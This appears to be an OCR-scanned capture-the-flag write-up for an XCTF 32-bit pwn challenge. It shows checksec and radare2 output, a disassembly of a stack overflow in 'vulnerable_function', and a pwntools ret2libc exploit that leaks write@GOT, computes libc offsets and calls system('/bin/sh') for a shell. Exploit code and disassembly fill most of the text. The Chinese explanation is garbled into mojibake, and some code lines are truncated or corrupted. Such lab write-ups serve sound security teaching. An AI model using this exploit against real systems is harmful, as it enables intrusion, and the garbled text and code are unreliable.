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root@kali:~/ctf/xctf/pwn/easy/easy_ 009
[*]

Arch: i386-32-1little

RELRO: Partial RELRO

Stack: No canary found
NX: NX enabled
PIE: No PIE (©x8048000)
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[0x08048350]> iz

[Strings]

Num Paddr Vaddr Len Size Section Type String

000 O0x00000540 0x08048540 7 8 (.rodata) ascii Input:\n

001 Ox00000548 0x08048548 14 15 (.rodata) ascii Hello, World!\n

[0x08048350]> afl
34 entry@
6 sym.imp. libc_start main
43 sym.deregister_tm_clones
53 sym.register_tm_clones
30 entry.finie
43 entry.inite
2 sym.__libc_csu_fini
4 sym.__ x86.get_pc_thunk.bx
20 sym._fini
57 sym.vulnerable_function
sym.imp.write
sym.imp.read
sym._ libc_csu_init
main

sym._init
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(fcn) sym.vulnerable_function 57
sym.vulnerable function ();

; var int32_t var_88h @ ebp-0x88
; CALL XREF from main @ ©x8048495
0x0804844b 55 push ebp
0x0804844c 89e5 mov ebp,
0x0804844e 81ec88000000 sub esp,
0x08048454 83eco4 sub esp,
0x08048457 6207 push 7 5 7
0x08048459 6840850408 push str. ; 0x8048540 ; "Input:\n"

0x0804845e 6201 push 1

0x08048460 e8dbfeffff call sym.imp.write
0x08048465 83c410 add esp, 0x10
0x08048468 83eco4 sub esp, 4
0x0804846b 6800010000 push 0x100
0x08048470 8d8578ffffff lea eax, dword [var_88h]
0x08048476 50 push eax
0x08048477 6200 push ©

0x08048479 e892feffff call sym.imp.read
0x0804847e 83c410 add esp, 0x10
0x08048481 90 nop

0x08048482 c9 IENS

0x08048483 c3 ret

0x08048479 Ab il Fread AT, 4ECHIFRZM0x88/MF LBROX100, FFTEAREH

Mt payload.

XA 4asystemAllbinsh, {ERE T libeSCf . BRI AR S B Bt 2 S5 FH write BRBUMSE wirte KISZPRMBE(EIGOTR H
fsbik), ARJEREXAHBEA write FEliberb KmA bk T3 HlibcEE sk, MlibcHh 3k EXsystemMbinshif#ihk, #ZFREX

shell.

KT libcEIRMEE, ESE [PWNFE ] mfIRElibcE ik

b, BANIEEWEMpayload, F—payload Hk3KEibckhl, % =AM k3KEshell

(ox88 ox4)
p32(write_plt) p32(main) p32(0x1) p32(write_got) p32(0x4)

libc_base = write libc_write_offset
libc_base libc_system_offset
libc_base libc_binsh_offset

(ox88 + 0x4)
p32(system) p32(9) p32(binsh)

from pwn import
context.log level

conn remote(
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write plt elf.plt[
write got elf.got|[

main elf.sym[

(ox88 ox4)
p32(write plt) p32(main) p32(0x1) p32(write_got)
conn.sendlineafter( , payload 1)

write u32(conn.recv(numb=4))

libc_base = write libc.sym[
libc_base libc.sym[

libc_base libc.search(

(ox88 ox4)
p32(system) p32(9) p32(binsh)
, payload_2)
conn.interactive()

p32(0x4)
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